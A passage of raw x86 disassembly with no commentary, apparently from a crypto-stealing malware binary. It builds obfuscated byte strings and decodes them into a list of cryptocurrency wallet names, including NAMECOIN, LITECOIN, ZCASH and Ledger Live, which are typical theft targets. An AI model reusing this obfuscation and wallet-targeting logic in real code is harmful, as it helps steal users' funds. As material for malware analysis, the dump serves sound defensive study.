test al, al
jne 0x413537
sub ecx, esi
lea eax, [ebp - 0x1f]
push ecx
push eax
mov ecx, edx
call fcn.00402aa0
mov byte [ebp - 4], 0x9a
mov byte [ebp - 4], 0x84
mov ecx, edi
call fcn.0040fab0
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x2c], esp
push eax
call fcn.0045fe50
mov byte [ebp - 4], 0x9b
xor ecx, ecx
mov dword [ebp - 0x38], 0xb09c9096
mov word [ebp - 0x34], 0xb1b6
mov byte [ebp - 0x32], 0
movzx eax, byte [ebp + ecx - 0x38]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x38], al
inc ecx
cmp ecx, 6
jb 0x413583
sub esp, 0x18
lea ecx, [ebp - 0x38]
mov edx, esp
mov dword [ebp - 0x3c], esp
xorps xmm0, xmm0
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4135c0
sub ecx, esi
lea eax, [ebp - 0x38]
push ecx
push eax
mov ecx, edx
call fcn.00402aa0
mov byte [ebp - 4], 0x9c
mov byte [ebp - 4], 0x84
mov ecx, edi
call fcn.0040fab0
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x2c], esp
push eax
call fcn.0045fe50
mov byte [ebp - 4], 0x9d
xor ecx, ecx
mov dword [ebp - 0x1d], 0xb6b9b196
mov dword [ebp - 0x19], 0xbaabb6b1
mov dword [ebp - 0x15], 0xb1b6b0bc
mov byte [ebp - 0x11], 0
movzx eax, byte [ebp + ecx - 0x1d]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x1d], al
inc ecx
cmp ecx, 0xc
jb 0x413614
sub esp, 0x18
lea ecx, [ebp - 0x1d]
mov edx, esp
mov dword [ebp - 0x3c], esp
xorps xmm0, xmm0
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x413650
sub ecx, esi
lea eax, [ebp - 0x1d]
push ecx
push eax
mov ecx, edx
call fcn.00402aa0
mov byte [ebp - 4], 0x9e
mov byte [ebp - 4], 0x84
mov ecx, edi
call fcn.0040fab0
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x2c], esp
push eax
call fcn.0045fe50
mov byte [ebp - 4], 0x9f
xor ecx, ecx
mov dword [ebp - 0x38], 0xb0bca796
mov word [ebp - 0x34], 0xb1b6
mov byte [ebp - 0x32], 0
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x38]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x38], al
inc ecx
cmp ecx, 6
jb 0x4136a0
sub esp, 0x18
lea ecx, [ebp - 0x38]
mov edx, esp
mov dword [ebp - 0x3c], esp
xorps xmm0, xmm0
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4136d7
sub ecx, esi
lea eax, [ebp - 0x38]
push ecx
push eax
mov ecx, edx
call fcn.00402aa0
mov byte [ebp - 4], 0xa0
mov byte [ebp - 4], 0x84
mov ecx, edi
call fcn.0040fab0
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x2c], esp
push eax
call fcn.0045fe50
mov byte [ebp - 4], 0xa1
xor ecx, ecx
mov dword [ebp - 0x19], 0xbeb8ba92
mov dword [ebp - 0x15], 0xb1b6b0bc
mov byte [ebp - 0x11], 0
movzx eax, byte [ebp + ecx - 0x19]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x19], al
inc ecx
cmp ecx, 8
jb 0x413724
sub esp, 0x18
lea ecx, [ebp - 0x19]
mov edx, esp
mov dword [ebp - 0x3c], esp
xorps xmm0, xmm0
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x413760
sub ecx, esi
lea eax, [ebp - 0x19]
push ecx
push eax
mov ecx, edx
call fcn.00402aa0
mov byte [ebp - 4], 0xa2
mov byte [ebp - 4], 0x84
mov ecx, edi
call fcn.0040fab0
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x2c], esp
push eax
call fcn.0045fe50
mov byte [ebp - 4], 0xa3
xor ecx, ecx
mov dword [ebp - 0x18], 0xbcb1b692
mov dword [ebp - 0x14], 0xb1b6b0
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x18]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x18], al
inc ecx
cmp ecx, 7
jb 0x4137b0
sub esp, 0x18
lea ecx, [ebp - 0x18]
mov edx, esp
mov dword [ebp - 0x3c], esp
xorps xmm0, xmm0
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4137e7
sub ecx, esi
lea eax, [ebp - 0x18]
push ecx
push eax
mov ecx, edx
call fcn.00402aa0
mov byte [ebp - 4], 0xa4
mov byte [ebp - 4], 0x84
mov ecx, edi
call fcn.0040fab0
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x2c], esp
push eax
call fcn.0045fe50
mov byte [ebp - 4], 0xa5
xor ecx, ecx
mov dword [ebp - 0x19], 0xbab2be91
mov dword [ebp - 0x15], 0xb1b6b0bc
mov byte [ebp - 0x11], 0
movzx eax, byte [ebp + ecx - 0x19]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x19], al
inc ecx
cmp ecx, 8
jb 0x413834
sub esp, 0x18
lea ecx, [ebp - 0x19]
mov edx, esp
mov dword [ebp - 0x3c], esp
xorps xmm0, xmm0
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x413870
sub ecx, esi
lea eax, [ebp - 0x19]
push ecx
push eax
mov ecx, edx
call fcn.00402aa0
mov byte [ebp - 4], 0xa6
mov byte [ebp - 4], 0x84
mov ecx, edi
call fcn.0040fab0
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x2c], esp
push eax
call fcn.0045fe50
mov byte [ebp - 4], 0xa7
xor ecx, ecx
mov dword [ebp - 0x1a], 0xb2b6ad8f
mov dword [ebp - 0x16], 0xb6b0bcba
mov word [ebp - 0x12], 0xb1
nop
movzx eax, byte [ebp + ecx - 0x1a]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x1a], al
inc ecx
cmp ecx, 9
jb 0x4138c0
sub esp, 0x18
lea ecx, [ebp - 0x1a]
mov edx, esp
mov dword [ebp - 0x3c], esp
xorps xmm0, xmm0
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4138f7
sub ecx, esi
lea eax, [ebp - 0x1a]
push ecx
push eax
mov ecx, edx
call fcn.00402aa0
mov byte [ebp - 4], 0xa8
mov byte [ebp - 4], 0x84
mov ecx, edi
call fcn.0040fab0
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x2c], esp
push eax
call fcn.0045fe50
mov byte [ebp - 4], 0xa9
xor ecx, ecx
mov dword [ebp - 0x1a], 0xadadba8b
mov dword [ebp - 0x16], 0xb6b0bcbe
mov word [ebp - 0x12], 0xb1
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x1a]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x1a], al
inc ecx
cmp ecx, 9
jb 0x413950
sub esp, 0x18
lea ecx, [ebp - 0x1a]
mov edx, esp
mov dword [ebp - 0x3c], esp
xorps xmm0, xmm0
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x413987
sub ecx, esi
lea eax, [ebp - 0x1a]
push ecx
push eax
mov ecx, edx
call fcn.00402aa0
mov byte [ebp - 4], 0xaa
mov byte [ebp - 4], 0x84
mov ecx, edi
call fcn.0040fab0
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x2c], esp
push eax
call fcn.0045fe50
mov byte [ebp - 4], 0xab
xor ecx, ecx
mov dword [ebp - 0x38], 0xb09c9e86
mov word [ebp - 0x34], 0xb1b6
mov byte [ebp - 0x32], 0
movzx eax, byte [ebp + ecx - 0x38]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x38], al
inc ecx
cmp ecx, 6
jb 0x4139d3
sub esp, 0x18
lea ecx, [ebp - 0x38]
mov edx, esp
mov dword [ebp - 0x3c], esp
xorps xmm0, xmm0
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x413a10
sub ecx, esi
lea eax, [ebp - 0x38]
push ecx
push eax
mov ecx, edx
call fcn.00402aa0
mov byte [ebp - 4], 0xac
mov byte [ebp - 4], 0x84
mov ecx, edi
call fcn.0040fab0
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x2c], esp
push eax
call fcn.0045fe50
mov byte [ebp - 4], 0xad
xor ecx, ecx
mov dword [ebp - 0x37], 0xacbebc85
mov word [ebp - 0x33], 0xb7
nop dword [eax + eax]
movzx eax, byte [ebp + ecx - 0x37]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x37], al
inc ecx
cmp ecx, 5
jb 0x413a60
sub esp, 0x18
lea ecx, [ebp - 0x37]
mov edx, esp
mov dword [ebp - 0x3c], esp
xorps xmm0, xmm0
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x413a97
sub ecx, esi
lea eax, [ebp - 0x37]
push ecx
push eax
mov ecx, edx
call fcn.00402aa0
mov byte [ebp - 4], 0xae
mov byte [ebp - 4], 0x84
mov ecx, edi
call fcn.0040fab0
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x2c], esp
push eax
call fcn.0045fe50
mov byte [ebp - 4], 0xaf
xor ecx, ecx
mov dword [ebp - 0x18], 0xbca9babb
mov dword [ebp - 0x14], 0xb1b6b0
movzx eax, byte [ebp + ecx - 0x18]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x18], al
inc ecx
cmp ecx, 7
jb 0x413ae0
sub esp, 0x18
lea ecx, [ebp - 0x18]
mov edx, esp
mov dword [ebp - 0x3c], esp
xorps xmm0, xmm0
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x413b17
sub ecx, esi
lea eax, [ebp - 0x18]
push ecx
push eax
mov ecx, edx
call fcn.00402aa0
mov byte [ebp - 4], 0xb0
mov byte [ebp - 4], 0x84
mov ecx, edi
call fcn.0040fab0
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x2c], esp
push eax
call fcn.0045fe50
mov byte [ebp - 4], 0xb1
xor ecx, ecx
mov dword [ebp - 0x1c], 0xb6b8b6bb
mov dword [ebp - 0x18], 0xbcb3beab
mov dword [ebp - 0x14], 0xb1b6b0
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x1c]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x1c], al
inc ecx
cmp ecx, 0xb
jb 0x413b70
sub esp, 0x18
lea ecx, [ebp - 0x1c]
mov edx, esp
mov dword [ebp - 0x3c], esp
xorps xmm0, xmm0
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x413ba7
sub ecx, esi
lea eax, [ebp - 0x1c]
push ecx
push eax
mov ecx, edx
call fcn.00402aa0
mov byte [ebp - 4], 0xb2
mov byte [ebp - 4], 0x84
mov ecx, edi
call fcn.0040fab0
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x2c], esp
push eax
call fcn.0045fe50
mov byte [ebp - 4], 0xb3
xor ecx, ecx
mov dword [ebp - 0x19], 0xbaabb693
mov dword [ebp - 0x15], 0xb1b6b0bc
mov byte [ebp - 0x11], 0
movzx eax, byte [ebp + ecx - 0x19]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x19], al
inc ecx
cmp ecx, 8
jb 0x413bf4
sub esp, 0x18
lea ecx, [ebp - 0x19]
mov edx, esp
mov dword [ebp - 0x3c], esp
xorps xmm0, xmm0
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x413c30
sub ecx, esi
lea eax, [ebp - 0x19]
push ecx
push eax
mov ecx, edx
call fcn.00402aa0
mov byte [ebp - 4], 0xb4
mov byte [ebp - 4], 0x84
mov ecx, edi
call fcn.0040fab0
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x2c], esp
push eax
call fcn.0045fe50
mov byte [ebp - 4], 0xb5
xor ecx, ecx
mov dword [ebp - 0x19], 0xbbbbba8d
mov dword [ebp - 0x15], 0xb1b6b0bc
mov byte [ebp - 0x11], 0
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x19]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x19], al
inc ecx
cmp ecx, 8
jb 0x413c80
sub esp, 0x18
lea ecx, [ebp - 0x19]
mov edx, esp
mov dword [ebp - 0x3c], esp
xorps xmm0, xmm0
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x413cb7
sub ecx, esi
lea eax, [ebp - 0x19]
push ecx
push eax
mov ecx, edx
call fcn.00402aa0
mov byte [ebp - 4], 0xb6
mov byte [ebp - 4], 0x84
mov ecx, edi
call fcn.0040fab0
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x2c], esp
push eax
call fcn.0045fe50
mov byte [ebp - 4], 0xb7
xor ecx, ecx
movaps xmm0, xmmword [0x527480]
movups xmmword [ebp - 0x21], xmm0
mov byte [ebp - 0x11], 0
movzx eax, byte [ebp + ecx - 0x21]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x21], al
inc ecx
cmp ecx, 0x10
jb 0x413d01
sub esp, 0x18
lea ecx, [ebp - 0x21]
mov edx, esp
mov dword [ebp - 0x3c], esp
xorps xmm0, xmm0
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x413d38
sub ecx, esi
lea eax, [ebp - 0x21]
push ecx
push eax
mov ecx, edx
call fcn.00402aa0
mov byte [ebp - 4], 0xb8
mov byte [ebp - 4], 0x84
mov ecx, edi
call fcn.0040fab0
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x2c], esp
push eax
call fcn.0045fe50
mov byte [ebp - 4], 0xb9
xor ecx, ecx
mov dword [ebp - 0x1c], 0xb8bbba93
mov dword [ebp - 0x18], 0x93ffadba
mov dword [ebp - 0x14], 0xbaa9b6
nop dword [eax + eax]
movzx eax, byte [ebp + ecx - 0x1c]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x1c], al
inc ecx
cmp ecx, 0xb
jb 0x413d90
sub esp, 0x18
lea ecx, [ebp - 0x1c]
mov edx, esp
mov dword [ebp - 0x3c], esp
xorps xmm0, xmm0
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x413dc7
sub ecx, esi
lea eax, [ebp - 0x1c]
push ecx
push eax
mov ecx, edx
call fcn.00402aa0
mov byte [ebp - 4], 0xba
mov byte [ebp - 4], 0x84
mov ecx, edi
call fcn.0040fab0
add esp, 0x30
mov byte [ebp - 4], 0x71
mov ecx, dword [ebp - 0xb4]
cmp ecx, 0x10
jb 0x413e2c
mov edx, dword [ebp - 0xc8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x413e22
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4141ad
push ecx
push edx
call fcn.004bafb1
add esp, 8
mov dword [ebp - 0xb8], 0
mov dword [ebp - 0xb4], 0xf
mov byte [ebp - 0xc8], 0
mov byte [ebp - 4], 0x6a
lea ecx, [ebp - 0xb0]
call fcn.00402890
mov byte [ebp - 4], 0x63
lea ecx, [ebp - 0x158]
call fcn.00402890
mov byte [ebp - 4], 0x5c
lea ecx, [ebp - 0x170]
call fcn.00402890
mov byte [ebp - 4], 0x55
lea ecx, [ebp - 0x188]
call fcn.00402890
mov byte [ebp - 4], 0x4e
lea ecx, [ebp - 0x1a0]
call fcn.00402890
mov byte [ebp - 4], 0x47
lea ecx, [ebp - 0x1b8]
call fcn.00402890
mov byte [ebp - 4], 0x40
lea ecx, [ebp - 0x1d0]
call fcn.00402890
mov byte [ebp - 4], 0x39
lea ecx, [ebp - 0x1e8]
call fcn.00402890
mov byte [ebp - 4], 0x26
lea ecx, [ebp - 0x200]
call fcn.00402890
mov byte [ebp - 4], 0x1f
mov ecx, dword [ebp - 0x84]
cmp ecx, 0x10
jb 0x413f0c
mov edx, dword [ebp - 0x98]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x413f02
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4141ad
push ecx
push edx
call fcn.004bafb1
add esp, 8
mov dword [ebp - 0x88], 0
mov dword [ebp - 0x84], 0xf
mov byte [ebp - 0x98], 0
mov byte [ebp - 4], 0x18
mov ecx, dword [ebp - 0xcc]
cmp ecx, 0x10
jb 0x413f65
mov edx, dword [ebp - 0xe0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x413f5b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4141ad
push ecx
push edx
call fcn.004bafb1
add esp, 8
mov dword [ebp - 0xd0], 0
mov dword [ebp - 0xcc], 0xf
mov byte [ebp - 0xe0], 0
mov byte [ebp - 4], 0x11
mov ecx, dword [ebp - 0xe4]
cmp ecx, 0x10
jb 0x413fbe
mov edx, dword [ebp - 0xf8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x413fb4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4141ad
push ecx
push edx
call fcn.004bafb1
add esp, 8
mov dword [ebp - 0xe8], 0
mov dword [ebp - 0xe4], 0xf
mov byte [ebp - 0xf8], 0
mov byte [ebp - 4], 0xa
mov ecx, dword [ebp - 0xfc]
cmp ecx, 0x10
jb 0x414017
mov edx, dword [ebp - 0x110]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41400d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4141ad
push ecx
push edx
call fcn.004bafb1
add esp, 8
mov dword [ebp - 0x100], 0
mov dword [ebp - 0xfc], 0xf
mov byte [ebp - 0x110], 0
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x114]
cmp ecx, 0x10
jb 0x414070
mov edx, dword [ebp - 0x128]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x414066
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4141ad
push ecx
push edx
call fcn.004bafb1
add esp, 8
mov dword [ebp - 0x118], 0
mov dword [ebp - 0x114], 0xf
mov byte [ebp - 0x128], 0
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x12c]
cmp ecx, 0x10
jb 0x4140c9
mov edx, dword [ebp - 0x140]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4140bf
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4141ad
push ecx
push edx
call fcn.004bafb1
add esp, 8
mov dword [ebp - 0x130], 0
mov dword [ebp - 0x12c], 0xf
mov byte [ebp - 0x140], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.00402890
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
ret
call fcn.004d64b0
call fcn.00402210
call fcn.004d64b0
call fcn.00402210
call fcn.004d64b0
call fcn.00402210
call fcn.004d64b0
call fcn.00402210
call fcn.004d64b0
call fcn.00402210
call fcn.004d64b0
call fcn.00402210
call fcn.00402210
call fcn.004d64b0
call fcn.00402210
call fcn.004d64b0
call fcn.00402210
call fcn.004d64b0
call fcn.00402210
call fcn.004d64b0
call fcn.00402210
call fcn.004d64b0
call fcn.00402210
call fcn.00402210
call fcn.004d64b0
call fcn.00402210
call fcn.004d64b0
call fcn.00402210
call fcn.00402210
call fcn.00402210
call fcn.00402210
call fcn.00402210
call fcn.00402210
call fcn.00402210
call fcn.004d64b0
int3